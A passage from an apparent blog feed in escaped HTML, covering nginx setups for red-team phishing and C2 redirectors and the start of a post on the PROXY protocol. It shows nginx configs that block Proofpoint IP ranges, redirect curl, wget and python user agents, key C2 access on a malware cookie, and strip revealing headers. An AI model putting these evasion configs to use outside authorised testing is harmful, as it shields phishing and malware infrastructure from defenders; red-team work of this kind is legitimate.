style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-3_hu_6be07251b73d0cb4.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/nginx-for-red-teams/img/nginx-for-red-teams-3.0a481a5827449cd83492a766565c9c38.png\" alt=\"proxy_access_only\" loading=\"lazy\" height=\"315\" width=\"372\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003ch3 id=\"conditional-filtering\"\u003eConditional Filtering\u003c/h3\u003e\n\u003ch4 id=\"ip-address-http\"\u003eIP Address (HTTP)\u003c/h4\u003e\n\u003cp\u003eDefenders have a lot of tools at their disposal, and some of those tools use cloud providers to do things like fetch payloads or snapshot the page when it\u0026rsquo;s visited, or categorize the content of a link for web safety. One way to help get around this is to block off cloud IP addresses from accessing your applications. In most situations your targets probably won\u0026rsquo;t be connecting to you through only cloud IP addresses, especially in a phishing scenario. Blocking unwanted traffic in nginx is easy. I even wrote a tool, \u003ca href=\"https://github.com/0xdade/sephiroth\"\u003esephiroth\u003c/a\u003e, to make it even easier to generate cloud block lists. But I\u0026rsquo;ll give a quick rundown of how it\u0026rsquo;s done here.\u003c/p\u003e\n\u003cp\u003eTo block large amounts of ip addresses, we\u0026rsquo;re going to make use of the \u003ccode\u003egeo\u003c/code\u003e block. This is provided via \u003ccode\u003engx_http_geo_module\u003c/code\u003e, which is a default module when installing nginx on Ubuntu 18.04.4.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/conf.d/bad_ips.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egeo $block_ip {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tdefault 0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t# proofpoint addresses borrowed from https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    148.163.148.0/22 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    148.163.156.0/23 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    208.84.65.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    208.84.66.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    208.86.202.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    208.86.203.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    67.231.144.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    67.231.145.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    67.231.146.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    67.231.147.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    67.231.148.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t67.231.149.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t67.231.151.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t67.231.158.0/24 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBy putting our \u003ccode\u003ebad_ips.conf\u003c/code\u003e file in \u003ccode\u003e/etc/nginx/conf.d/\u003c/code\u003e, it will be loaded before our site configs which enable us to access the \u003ccode\u003e$block_ip\u003c/code\u003e variable from within our site configurations. Then we can redirect or show a benign page or whatever else we want.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/our.site.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tif ($block_ip) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\treturn 302 http://example.com;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:1337;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf using this with TLS, ensure that you are doing it on your trusted infrastructure where you can terminate the TLS connection.\u003c/p\u003e\n\u003ch4 id=\"ip-address-stream\"\u003eIP Address (Stream)\u003c/h4\u003e\n\u003cp\u003eWe can combine some things we\u0026rsquo;ve learned so far in order to block large ranges of IP addresses at our stream redirector layers. We\u0026rsquo;re going to make use of \u003ccode\u003egeo\u003c/code\u003e, \u003ccode\u003eupstream\u003c/code\u003e, and \u003ccode\u003emap\u003c/code\u003e blocks. Unfortunately, stream blocks are not capable of using \u003ccode\u003eif\u003c/code\u003e statements, which is why we use \u003ccode\u003eupstream\u003c/code\u003e and \u003ccode\u003emap\u003c/code\u003e instead. It\u0026rsquo;s a little more restrictive, but we can make it work.\u003c/p\u003e\n\u003cp\u003eWe\u0026rsquo;re going to use the same \u003ccode\u003e/etc/nginx/conf.d/bad_ips.conf\u003c/code\u003e from the previous section, but we\u0026rsquo;re going to have to include it directly in our stream blocks in order to use it, since \u003ccode\u003e/etc/nginx/conf.d/*\u003c/code\u003e is only included inside the \u003ccode\u003ehttp\u003c/code\u003e block by default.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/stream_redirector.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.3\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tupstream good_traffic {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tserver 192.168.0.2:80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tupstream bad_traffic {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tserver 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tinclude /etc/nginx/conf.d/bad_ips.conf;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tmap $bad_ip $backend {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t1 \u0026#34;bad_traffic\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t    default \u0026#34;good_traffic\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass $backend;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/bad_traffic_handler.conf\u003c/code\u003e on \u003ccode\u003e192.168.0.3\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\treturn 302 http://example.com;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd now any of our designated bad ip addresses will get redirected to \u003ccode\u003e127.0.0.1:8080\u003c/code\u003e which will in turn redirect them to \u003ccode\u003ehttp://example.com\u003c/code\u003e instead of sending it upstream to our actual application server. This enables redirectors to do some basic filtering instead of purely requiring redirecting it back to the application server unconditionally. If you apply this at the first redirector layer, then your first layer of defense can automatically block known unwanted IP addresses.\u003c/p\u003e\n\u003cp\u003eWhile this technically works with TLS streams as well, you\u0026rsquo;ll encounter the problem where the upstream server for the bad traffic (\u003ccode\u003e127.0.0.1:8080\u003c/code\u003e in this case) doesn\u0026rsquo;t have a valid key pair for the domain being requested, and it will throw an error. This probably isn\u0026rsquo;t desired. If you\u0026rsquo;re trying to redirect TLS traffic, it\u0026rsquo;s generally going to be more reliable to do it at the TLS termination point rather than trying to do it at some arbitrary midpoint.\u003c/p\u003e\n\u003ch4 id=\"user-agents\"\u003eUser Agents\u003c/h4\u003e\n\u003cp\u003eUser agent filtering is another fairly common thing used in red team infrastructures. If it\u0026rsquo;s a mobile user agent, for instance, you might want to only try to capture credentials via a login page. If it\u0026rsquo;s a desktop user agent, you may want to deliver a different payload based on which OS it is. If it\u0026rsquo;s an unknown user agent, maybe you don\u0026rsquo;t want to support it at all.\u003c/p\u003e\n\u003cp\u003eInside of a site configuration, you can access the \u003ccode\u003e$http_user_agent\u003c/code\u003e variable and do some matching on it. \u003ccode\u003e~\u003c/code\u003e will do a case sensitive regular expression match. \u003ccode\u003e~*\u003c/code\u003e will do a case insensitve regular expression match. \u003ccode\u003e=\u003c/code\u003e will do a direct match, and \u003ccode\u003e!=\u003c/code\u003e naturally does the opposite of \u003ccode\u003e=\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/our-site.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tif ($http_user_agent ~* (curl|wget|python)) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\treturn 302 http://example.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn this example, we do a case insensitive match against the user agent to look for \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, and \u003ccode\u003epython\u003c/code\u003e and if any of these are detected then we redirect them to example.com instead of our backend server at \u003ccode\u003e127.0.0.1:8080\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnother example might be to do an exact match for a known user agent. Maybe your malware talks over http and you want to use user agent filtering to reduce the unwanted traffic to your C2 server.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/our-site.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tif ($http_user_agent = \u0026#34;Slackbot-LinkExpander 1.1 (+https://api.slack.com/robots)\u0026#34;) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\tproxy_pass 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\treturn 302 http://example.com;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou\u0026rsquo;ll notice that in this case our default behavior is to return a redirect. This is generally a safer design practice (explicit allow) because if something goes wrong then the default behavior won\u0026rsquo;t expose your C2 server. But it can, and should, be used in combination with deny rules.\u003c/p\u003e\n\u003ch4 id=\"cookies\"\u003eCookies\u003c/h4\u003e\n\u003cp\u003ePerhaps you\u0026rsquo;re using custom cookies to key your malware. Good for you. Your blue team must be pretty good if it\u0026rsquo;s come to this. Go buy them a beer, or their other drink of choice. But anyways, nginx also allows us to do filtering based on cookies via the \u003ccode\u003e$cookie_COOKIENAME\u003c/code\u003e variable format. We can start with something simple:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/our.site.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tif ($cookie_ismalware ~ \u0026#34;SECRETPREFIX-(.*)\u0026#34;) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\tproxy_pass 127.0.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\treturn 302 http://example.com;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo here we check if the cookie \u003ccode\u003eismwalware\u003c/code\u003e exists and if it matches our secret prefix, conveniently called \u003ccode\u003eSECRETPREFIX\u003c/code\u003e for the sake of this demo. If it has the prefix then we trust it\u0026rsquo;s one of ours and we invite it into our C2 server.\u003c/p\u003e\n\u003ch3 id=\"stripping-upstream-headers\"\u003eStripping Upstream Headers\u003c/h3\u003e\n\u003cp\u003eSometimes you\u0026rsquo;re using an application that sets an \u003ccode\u003eX-Powered-By:\u003c/code\u003e or \u003ccode\u003eX-Server\u003c/code\u003e header, or some other unwanted header that reveals details about what you\u0026rsquo;re using (\u003cem\u003ecough\u003c/em\u003e gophish \u003cem\u003ecough\u003c/em\u003e). Unfortunately it\u0026rsquo;s a little harder to remove headers in nginx than it is in apache, but it\u0026rsquo;s still pretty doable. The capability doesn\u0026rsquo;t ship out of the box, but Ubuntu does provide a package for it. Simply run \u003ccode\u003esudo apt install libnginx-mod-http-headers-more-filter\u003c/code\u003e. Whew, that\u0026rsquo;s a mouthful. Once you\u0026rsquo;re done, it\u0026rsquo;ll automatically be added as an enabled module on nginx and you can start to use it. More information on this module can be found on \u003ca href=\"https://github.com/openresty/headers-more-nginx-module#more_clear_headers\"\u003egithub\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s say we have a server up stream that sets \u003ccode\u003eX-Powered-By: Caffeine and Basslines\u003c/code\u003e and we don\u0026rsquo;t want to expose that to our endpoint traffic. So we\u0026rsquo;re going to \u003ccode\u003eproxy_pass\u003c/code\u003e our traffic to \u003ccode\u003e127.0.0.1:1337\u003c/code\u003e, it will handle the request and pass it back to nginx. nginx will then look for the \u003ccode\u003eX-Powered-By\u003c/code\u003e header and remove it if found.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/nginx/sites-enabled/our.site.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlisten 80;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tlocation / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tproxy_pass 127.0.0.1:1337;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\tmore_clear_headers X-Powered-By;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"some-notes\"\u003eSome Notes\u003c/h3\u003e\n\u003cp\u003eThis section contains some notes that are about other things in the post but don\u0026rsquo;t really fit in a whole section on their own.\u003c/p\u003e\n\u003ch4 id=\"a-note-on-proxy_pass\"\u003eA note on proxy_pass\u003c/h4\u003e\n\u003cp\u003eI use the \u003ccode\u003eproxy_pass\u003c/code\u003e directive a bunch of times throughout this post. In the \u003ccode\u003estream\u003c/code\u003e blocks, it works in the context of \u003ccode\u003eserver\u003c/code\u003e. However, when we use \u003ccode\u003ehttp\u003c/code\u003e blocks, such as any \u003ccode\u003esites-enabeld/*\u003c/code\u003e files, \u003ccode\u003eproxy_pass\u003c/code\u003e only works in the context of \u003ccode\u003elocation\u003c/code\u003e blocks. If you want to do conditionals to \u003ccode\u003eproxy_pass\u003c/code\u003e to something, it has to be inside a \u003ccode\u003elocation\u003c/code\u003e block.\u003c/p\u003e\n\u003ch4 id=\"a-note-on-the-if-directive\"\u003eA note on the if directive\u003c/h4\u003e\n\u003cp\u003eNginx has a wiki page about the \u003ccode\u003eif\u003c/code\u003e directive \u003ca href=\"https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/\"\u003ebeing evil\u003c/a\u003e. It\u0026rsquo;s probably worth a look if you\u0026rsquo;re experiencing unexpected behaviors.\u003c/p\u003e\n\u003ch3 id=\"questions-recommendations-attacks\"\u003eQuestions? Recommendations? Attacks?\u003c/h3\u003e\n\u003cp\u003eHoller at me on \u003ca href=\"https://twitter.com/0xdade\"\u003etwitter\u003c/a\u003e if you have some ideas to add, or something I said doesn\u0026rsquo;t work for you, or you\u0026rsquo;ve got some dank memes.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/nginx-for-red-teams/img/hack-the-planet.d5a4b45bda9d2527c9d935ee44c5b3fa.webp\" alt=\"Hack The Planet\" loading=\"lazy\" height=\"205\" width=\"480\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n"
        },
        {
            "title": "Red Team PROXY Protocol (Nginx)",
            "date_published": "2020-02-15T22:19:50-08:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2020/02/red-team-proxy-protocol-nginx/",
            "url": "https://0xda.de/blog/2020/02/red-team-proxy-protocol-nginx/",
            "content_html": "\u003cp\u003eIt was recently in my best interest to learn how to make use of the \u003ca href=\"https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt\"\u003ePROXY protocol\u003c/a\u003e in support of red team infrastructure. If you\u0026rsquo;re familiar with developing scalable systems or using load balancers then you may be well aware of the PROXY protocol already. But if you\u0026rsquo;re not familiar with it, the basic concept is that your load balancer prefixes the original request with a PROXY line, like so:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePROXY TCP4 192.168.0.1 192.168.0.11 56324 443\\r\\n\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGET / HTTP/1.1\\r\\n\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost: 192.168.0.11\\r\\n\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\\r\\n\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWe can break this down into each of it\u0026rsquo;s parts:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ePROXY\u003c/code\u003e indicates that it is version 1 of the PROXY protocol\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eTCP4\u003c/code\u003e indicates the proxied protocol. TCP4 means TCP over IPv4, TCP6 means TCP over IPv6.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e192.168.0.1\u003c/code\u003e indicates the source address. This is the originating client address.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e192.168.0.11\u003c/code\u003e indicates the destination address.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e56324\u003c/code\u003e indicates the source port\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e443\u003c/code\u003e indicates the destination port\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\\r\\n\u003c/code\u003e represents the end of the PROXY header\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eGET / HTTP/1.1\\r\\n\u003c/code\u003e is the start of the HTTP request\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn typical HTTP proxying situations, your load balancer might insert an \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header that contains the source IP address. If you want to retain the source IP address using HTTPS, you would need to let your load balancer decrypt the TLS connection so that it can insert the header. Then maybe it re-encrypts it to the backend using a separate TLS connection. Fine and dandy for most use cases, honestly.\u003c/p\u003e\n\u003cp\u003eBut in offensive infrastructure, we don\u0026rsquo;t really use the term \u0026ldquo;load balancer\u0026rdquo; and instead we use \u0026ldquo;redirectors\u0026rdquo;. These redirectors are meant to protect our infrastructure from being burned, with the understanding that the redirectors are probably easier to tear down and spin up than the rest of the infrastructure. If you want to replicate sketchier threats, you will probably want to use redirectors on various services that aren\u0026rsquo;t major cloud providers. This is colloquially referred to as the made up country of \u003ca href=\"https://sketchyasfuckistan.com/\"\u003esketchyasfuckistan\u003c/a\u003e, coined (I think?) by my friends Topher and Mike.\u003c/p\u003e\n\u003cp\u003eIf you\u0026rsquo;re using sketchy cloud providers, you probably don\u0026rsquo;t want to deal with moving SSL certificates around when the redirector gets burned, and furthermore you probably don\u0026rsquo;t want to trust that keys generated on that box are kept solely on that box, or that you\u0026rsquo;re the only one on that box. Generally you want to trust it as little as possible. This can be achieved by using dumb TCP redirectors, several of which are documented on the preeminent source of \u003ca href=\"https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#https\"\u003ered team infrastructure design\u003c/a\u003e by [bluscreenofjeff]. But dumb TCP redirectors can lose information about the originating IP address, which can make it difficult to make decisions once the traffic gets back to your trusted infrastructure.\u003c/p\u003e\n\u003cp\u003eEnter the PROXY protocol. This bad boy lets your TLS redirectors stay dumb without losing information about the client connection. As long as your redirector and your destination server supports PROXY, then you get to maintain the originating client address. The redirector receives a TLS connection from the client, prepends a header to the TCP packet(s) and then passes it along to the upstream server. The upstream server (the one that has the TLS keys) has to also support PROXY protocol, otherwise you\u0026rsquo;ll wind up with errors.\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/02/red-team-proxy-protocol-nginx/img/proxy-protocol-1_hu_ccceb13403ad9421.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/red-team-proxy-protocol-nginx/img/proxy-protocol-1.e3e947dd4bbce41dbb47d6577e70d9f1.png\" 